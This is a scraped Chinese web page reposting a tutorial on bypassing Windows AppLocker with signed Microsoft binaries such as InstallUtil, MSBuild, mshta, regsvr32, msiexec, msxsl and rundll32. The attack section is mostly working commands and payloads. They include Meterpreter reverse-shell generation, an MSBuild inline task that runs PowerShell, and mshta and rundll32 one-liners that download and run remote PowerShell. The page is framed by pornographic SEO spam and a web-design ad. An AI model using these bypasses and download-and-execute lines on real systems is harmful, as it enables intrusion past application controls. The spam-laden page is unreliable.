欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

如何進行AppLocker繞過分析

這篇文章給大家介紹如何進行AppLocker繞過分析,內(nèi)容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

創(chuàng)新互聯(lián)公司主要從事成都網(wǎng)站設(shè)計、做網(wǎng)站、成都外貿(mào)網(wǎng)站建設(shè)公司、網(wǎng)頁設(shè)計、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務。立足成都服務象山,十多年網(wǎng)站建設(shè)經(jīng)驗,價格優(yōu)惠、服務專業(yè),歡迎來電咨詢建站服務:18982081108

前言

什么是applocker

AppLocker即“應用程序控制策略”,是Windows 7系統(tǒng)中新增加的一項安全功能。在win7以上的系統(tǒng)中默認都集成了該功能,我們可以使用在services中啟用Application Identity,然后在local security policy中找到Application Control Policies中看到Applocker選項。

applocker規(guī)則

默認的Applocker規(guī)則支持以下幾種:

規(guī)則** | 關(guān)聯(lián)的文件格式 ---|--- 可執(zhí)行文件  | .exe、.com 腳本 | .ps1、.bat、.cmd、.vbs、.js Windows Installer 文件 | .msi、.msp、.mst 封裝應用和封裝應用安裝程序 | .appx DLL 文件 |  .dll、.ocx

.appx并不是所有的applocker都會存在,應根據(jù)windows版本來,在win10上,創(chuàng)建applocker規(guī)則后會在C:\Windows\System32\AppLocker生產(chǎn)相應的.applocker文件。

applocker規(guī)則條件

規(guī)則條件是用于幫助 AppLocker 標識要應用規(guī)則的應用的標準。三個主要規(guī)則條件為發(fā)布者、路徑和文件哈希。

  • 發(fā)布者:基于應用的數(shù)字簽名標識它

  • 路徑:通過應用在計算機文件系統(tǒng)中或網(wǎng)絡(luò)上的位置來標識它

  • 文件哈希:表示已標識文件的系統(tǒng)計算的加密哈希

如何進行AppLocker繞過分析

AppLocker 默認規(guī)則

在你創(chuàng)建了一個applocker規(guī)則后,系統(tǒng)會默認詢問你是否添加一條默認規(guī)則,如下圖所示:

如何進行AppLocker繞過分析

每個規(guī)則所對應的默認規(guī)則如下:

可執(zhí)行的默認規(guī)則類型包括:

  • 允許本地 Administrators 組的成員運行所有應用。

  • 允許 Everyone 組的成員運行 Windows 文件夾中的應用。

  • 允許 Everyone 組的成員運行 Program Files 文件夾中的應用。

腳本默認規(guī)則類型包括:

  • 允許本地 Administrators 組的成員運行所有腳本。

  • 允許 Everyone 組的成員運行 Program Files 文件夾中的腳本。

  • 允許 Everyone 組的成員運行 Windows 文件夾中的腳本。

Windows Installer 默認規(guī)則類型包括:

  • 允許本地 Administrators 組的成員運行所有 Windows Installer 文件。

  • 允許 Everyone 組的成員運行所有已進行數(shù)字簽名的 Windows Installer 文件。

  • 允許 Everyone 組的成員運行 Windows\Installer 文件夾中的所有 Windows Installer 文件。

DLL 默認規(guī)則類型:

  • 允許本地 Administrators 組的成員運行所有 DLL。

  • 允許 Everyone 組的成員運行 Program Files 文件夾中的 DLL。

  • 允許 Everyone 組的成員運行 Windows 文件夾中的 DLL。

封裝應用默認規(guī)則類型:

  • 允許 Everyone 組的成員安裝和運行所有已簽名的封裝應用和封裝應用安裝程序

AppLocker 規(guī)則行為

可將規(guī)則配置為使用允許或拒絕操作:

  • 允許。你可以指定允許在你的環(huán)境中運行的文件以及所針對的用戶或用戶組。你還可以配置例外以標識從規(guī)則中排除的文件。

  • 拒絕。你可以指定 not 允許在你的環(huán)境中運行的文件以及所針對的用戶或用戶組。你還可以配置例外以標識從規(guī)則中排除的文件。

如何進行AppLocker繞過分析

創(chuàng)建一個applocker規(guī)則

講了那么多,我們以禁止在桌面上運行exe文件為例,創(chuàng)建一條規(guī)則。創(chuàng)建完大體如下:

如何進行AppLocker繞過分析

運行exe測試:

如何進行AppLocker繞過分析

系統(tǒng)就會阻止我們運行

bypass Applocker

Installutil.exe

InstallUtil是.NET Framework的一部分,是一個命令行程序,它使用戶可以通過命令提示符快速安裝和卸載應用程序。由于此實用程序是Microsoft簽名的二進制文件,因此可以用來繞過AppLocker限制來運行任何.NET可執(zhí)行文件。該實用程序也位于Windows文件夾內(nèi),該文件夾不會應用AppLocker策略,因為需要執(zhí)行Windows文件夾的內(nèi)容才能使系統(tǒng)正常運行。

首先我們使用WhiteListEvasion(https://github.com/khr0x40sh/WhiteListEvasion)生成一個模板



python InstallUtil.py --cs_file pentestlab.cs --exe_file /root/Desktop/pentestlab.exe --payload windows/meterpreter/reverse_https --lhost 192.168.0.103 --lport 443

如何進行AppLocker繞過分析

上面的命令將生成一個C#模板,其中將包含Metasploit ShellCode。

將生成后的文件放到目標中使用下面的方法執(zhí)行:



C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U /root/payload.exe

當然你也可以是先使用msf生成一個csharp的payload,然后替換模板中的shellcode,然后將cs文件傳到目標機。

然后用csc編譯我們的腳本:



C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /out:exeshell.exe exeshell.cs

如何進行AppLocker繞過分析

此時我們執(zhí)行我們的文件試試:

如何進行AppLocker繞過分析

被規(guī)則攔截,那么我們使用



C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

繞過

如何進行AppLocker繞過分析

msf成功上線

如何進行AppLocker繞過分析

在msf中也有使用InstallUtil.exe進行applocker的bypass模塊。



exploit/windows/local/applocker_bypass

原理是一樣的

如何進行AppLocker繞過分析

附帶常見的路徑:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe

  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe

  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Msbuild.exe

MSBuild.exe(Microsoft Build Engine)是Visual Studio使用的軟件構(gòu)建平臺。它采用XML格式的項目文件,這些文件定義了構(gòu)建各種平臺和配置的要求。(引用:MSDN MSBuild)

我們可以使用MSBuild通過受信任的Windows實用工具代理代碼執(zhí)行。.NET版本4中引入的MSBuild內(nèi)聯(lián)任務功能允許將C#代碼插入XML項目文件中。內(nèi)聯(lián)任務MSBuild將編譯并執(zhí)行內(nèi)聯(lián)任務。MSBuild.exe是一個經(jīng)過簽名的Microsoft二進制文件,因此,以這種方式使用它時,它可以執(zhí)行任意代碼,并繞過配置為允許MSBuild.exe執(zhí)行的應用程序白名單防護.

我們這里直接使用GreatSCT生成一個xml文件。



./GreatSCT.py --ip 192.168.0.106 --port 4444 -t bypass -p msbuild/meterpreter/rev_tcp.py

如何進行AppLocker繞過分析

并且會給我們生成一個rc文件,我們可以使用msfconsole -r 直接啟動msf

然后使用msbuild執(zhí)行,

如何進行AppLocker繞過分析

msf上線:

如何進行AppLocker繞過分析

當然你也可以是使用msf生成一個c#的shellcode然后使用三好學生師傅的模板加載:

https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20shellcode.xml

注意將后綴名改為.csproj

除了反彈shell以外我們還可以用它來繞過powershell的限制。

如何進行AppLocker繞過分析

代碼如下:



<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">  <!-- This inline task executes c# code. -->  <!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe pshell.xml -->   <!-- Author: Casey Smith, Twitter: @subTee -->  <!-- License: BSD 3-Clause -->  <Target Name="Hello">   <FragmentExample />   <ClassExample />  </Target>  <UsingTask    TaskName="FragmentExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" ><ParameterGroup/><Task>  <Using Namespace="System" />  <Using Namespace="System.IO" />  <Code Type="Fragment" Language="cs"><![CDATA[                Console.WriteLine("Hello From Fragment");        ]]>  </Code></Task></UsingTask><UsingTask    TaskName="ClassExample"    TaskFactory="CodeTaskFactory"    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" ><Task>  <Reference Include="System.Management.Automation" />  <Code Type="Class" Language="cs"><![CDATA[            using System;            using System.IO;            using System.Diagnostics;            using System.Reflection;            using System.Runtime.InteropServices;            //Add For PowerShell Invocation            using System.Collections.ObjectModel;            using System.Management.Automation;            using System.Management.Automation.Runspaces;            using System.Text;            using Microsoft.Build.Framework;            using Microsoft.Build.Utilities;            public class ClassExample :  Task, ITask            {                public override bool Execute()                {                    while(true)                    {                        Console.Write("PS >");                        string x = Console.ReadLine();                        try                        {                            Console.WriteLine(RunPSCommand(x));                        }                        catch (Exception e)                        {                            Console.WriteLine(e.Message);                        }                    }                                return true;                }                //Based on Jared Atkinson's And Justin Warner's Work                public static string RunPSCommand(string cmd)                {                    //Init stuff                    Runspace runspace = RunspaceFactory.CreateRunspace();                    runspace.Open();                    RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);                    Pipeline pipeline = runspace.CreatePipeline();                    //Add commands                    pipeline.Commands.AddScript(cmd);                    //Prep PS for string output and invoke                    pipeline.Commands.Add("Out-String");                    Collection<PSObject> results = pipeline.Invoke();                    runspace.Close();                    //Convert records to strings                    StringBuilder stringBuilder = new StringBuilder();                    foreach (PSObject obj in results)                    {                        stringBuilder.Append(obj);                    }                    return stringBuilder.ToString().Trim();                 }                 public static void RunPSFile(string script)                {                    PowerShell ps = PowerShell.Create();                    ps.AddScript(script).Invoke();                }            }        ]]>  </Code></Task>  </UsingTask> </Project>

原地址:https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20PowerShellCommands.xml

如何進行AppLocker繞過分析

成功繞過對powershell的限制。

常見路徑如下:

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\Msbuild.exe

  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Msbuild.exe

  • C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe

  • C:\Windows\Microsoft.NET\Framework64\v3.5\Msbuild.exe

  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe

  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Msbuild.exe

Mshta.exe

mshta.exe是微軟Windows操作系統(tǒng)相關(guān)程序,英文全稱Microsoft HTML Application,可翻譯為微軟超文本標記語言應用,用于執(zhí)行.HTA文件。默認已集成在環(huán)境變量中。

使用Mshta的方式有很多,我們這里使用msf的exploit/windows/misc/hta_server模塊進行測試:



use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit

如何進行AppLocker繞過分析

目標機執(zhí)行:



mshta.exe http://192.168.0.106:8080/JR1gb3TO6.hta

即可上線。

除了這種方法hta還可以使用cobaltstrike 、Setoolkit、Magic unicorn、Empire、CactusTorch、Koadic、Great SCT等進行上線。

除了本地文件,mshta還支持遠程下載的方式執(zhí)行payload,比如:



mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close();

除了以上的方式,mshta可以用用來執(zhí)行powershell:



<HTML> <HEAD> <script language="VBScript">Set objShell = CreateObject("Wscript.Shell")    objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/')" </script> </HEAD> <BODY> </BODY> </HTML>

即使applocker已經(jīng)禁止powershell執(zhí)行了

如何進行AppLocker繞過分析

InfDefaultInstall.exe

InfDefaultInstall.exe是一個用來進行inf安裝的工具,具有微軟簽名,存在路徑為:

  • C:\Windows\System32\Infdefaultinstall.exe

  • C:\Windows\SysWOW64\Infdefaultinstall.exe

我們也可以用它來繞過一些限制。用法就是直接該文件后面跟你的inf文件即可。

它的執(zhí)行流程如下:

如何進行AppLocker繞過分析

作者給出的poc地址如下:

https://gist.github.com/KyleHanslovan/5e0f00d331984c1fb5be32c40f3b265a

思路也和圖中那樣,使用shady.inf去調(diào)用遠程的sct后門。

不過他的調(diào)用需要更高的權(quán)限,我在win10下運行的截圖:

如何進行AppLocker繞過分析

Mavinject.exe

Mavinject是win10上面自帶的windows組件,我們可以用它來進行dll注入,并繞過部分限制。

用法如下:



mavinject32.exe <PID> <PATH DLL>

常見路徑如下:

  • C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe

  • C:\Windows\System32\mavinject.exe

  • C:\Windows\SysWOW64\mavinject.exe

但是我本地復現(xiàn)的時候并沒有成功注入,但是也沒有什么提示,不知道具體原因是什么,版本為:     10.0.15063.0 (WinBuild.160101.0800)

應該是可以成功注入的,附上一張推特大佬成功的圖。

如何進行AppLocker繞過分析

有興趣的可以多嘗試幾個系統(tǒng)。

MSIEXEC

MSIEXEC是Microsoft的應用程序,可用于從命令行安裝或配置產(chǎn)品。這個其實不是很陌生的了,我之前也寫過用它來進行提權(quán)的文章。我們假設(shè)可以執(zhí)行msi文件,用它來繞過applocker對powershell的限制。

先用msf生成一個msi文件。



msfvenom -f msi -p windows/exec CMD=powershell.exe > powershell.msi

如何進行AppLocker繞過分析

windows下執(zhí)行:

如何進行AppLocker繞過分析

成功繞過。

msxsl.exe

msxsl.exe是一個xml的轉(zhuǎn)換器,帶有微軟數(shù)字簽名。下載地址如下:

https://www.microsoft.com/en-us/download/details.aspx?id=21714

如何進行AppLocker繞過分析

我們使用3gstudent來嘗試繞過applocker對calc的限制,

customers.xml:



<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="script.xsl" ?> <customers>   <customer>  <name>John Smith</name>  <address>123 Elm St.</address>  <phone>(123) 456-7890</phone>   </customer>   <customer>  <name>Mary Jones</name>  <address>456 Oak Ave.</address>  <phone>(156) 789-0123</phone>   </customer> </customers>

script.xml:



<?xml version='1.0'?> <xsl:stylesheet version="1.0"      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"      xmlns:msxsl="urn:schemas-microsoft-com:xslt"      xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user">   function xml(nodelist) {    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");      return nodelist.nextNode().xml;   } </msxsl:script> <xsl:template match="/">   <xsl:value-of select="user:xml(.)"/> </xsl:template> </xsl:stylesheet>

成功繞過:

如何進行AppLocker繞過分析

當然也可以執(zhí)行我們的shellcode,具體參考:

https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml

Regsv***.exe

regsv***是Windows命令行實用程序,用于將.dll文件和ActiveX控件注冊和注銷到注冊表中。

文件位置:

  • C:\Windows\System32\regsv***.exe

  • C:\Windows\SysWOW64\regsv***.exe

下面為大家演示,繞過applocker上線。

如何進行AppLocker繞過分析

如何進行AppLocker繞過分析

scT文件內(nèi)容如下:



<?XML version="1.0"?> <scriptlet> <registration         progid="Pentest"       classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[   var r = new ActiveXObject("WScript.Shell").Run("cmd /k cd c:\ & pentestlab.exe"); ]]> </script> </registration> </scriptlet>

各參數(shù)的含義:

  • 靜默不顯示任何消息// / s

  • 不調(diào)用DLL注冊服務器// / n

  • 要使用另一個IP地址,因為它不會調(diào)用DLL注冊服務器// / i

  • 使用取消注冊方法// / u

除了本地執(zhí)行,它還支持遠程加載:



regsv*** /u /n /s /i:http://ip:port/payload.sct scrobj.dll

sct我們使用GreatSct生成即可。

Rundll32.exe

Rundll32是一個Microsoft二進制文件,可以執(zhí)行DLL文件中的代碼。由于此實用程序是Windows操作系統(tǒng)的一部分,因此可以用作繞過AppLocker規(guī)則或軟件限制策略的方法

先生成我們的payload:

如何進行AppLocker繞過分析

目標機執(zhí)行:    

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";
document.write();
new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

上線:

如何進行AppLocker繞過分析

除了遠程之外,也可以本地上線:

rundll32 shell32.dll,Control_RunDLL C:\Users\pentestlab.dll

也可以用來繞過對某些軟件的限制,比如彈個cmd:

如何進行AppLocker繞過分析

關(guān)于如何進行AppLocker繞過分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

當前文章:如何進行AppLocker繞過分析
URL分享:http://aaarwkj.com/article18/ihhddp.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營銷型網(wǎng)站建設(shè)、自適應網(wǎng)站、App開發(fā)、網(wǎng)站設(shè)計、服務器托管、企業(yè)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

搜索引擎優(yōu)化
国产丝袜美腿视频亚洲综合| 欧美一区二区国产精品日韩| 性色av人妻中文一区二区| 白白色最新福利在线视频观看| 18禁黄久久久一区二区三区| 午夜射精视频在线观看| 日本韩国欧美一区在线| av在线免费观看不卡| 素人人妻一区二区三区| 国产传媒视频在线免费观看| 国产在线视频不卡一区| 加勒比久草免费在线观看| 亚洲一区二区精品天堂| 人人妻人人澡人人爱| 久久成人午夜免费电影| 18岁下禁止看的视频| 西西美女掰开阴让你看| 青青操国产在线自偷自拍| 日韩中文字幕不卡免费| 欧美福利区免费观看视频| 国产丝袜肉丝在线播放| 韩日av一区二区三区| 亚洲视频一直看一直爽| 熟女自拍偷拍视频播放| 欧美中文日韩国产字幕| 亚洲精品一区二区三区不卡| 亚洲免费成人一区二区| 夜夜操狠狠操天天摸| 尤物在线观看视频播放| 丰满少妇一区二区自拍区| 亚洲天堂成人av蜜臀| 色哟哟精品丝袜一区二区| 黄片色呦呦视频免费看| 一级片欧美女人性生活片| 美女口爆吞精一区二区| 亚洲av色香蕉一区二区| 亚洲黄片在线免费播放观看| 最新国产精品欧美激情| 国产午夜三级视频在线观看| av一区二区三区网站| 国产一区二区三区不卡av|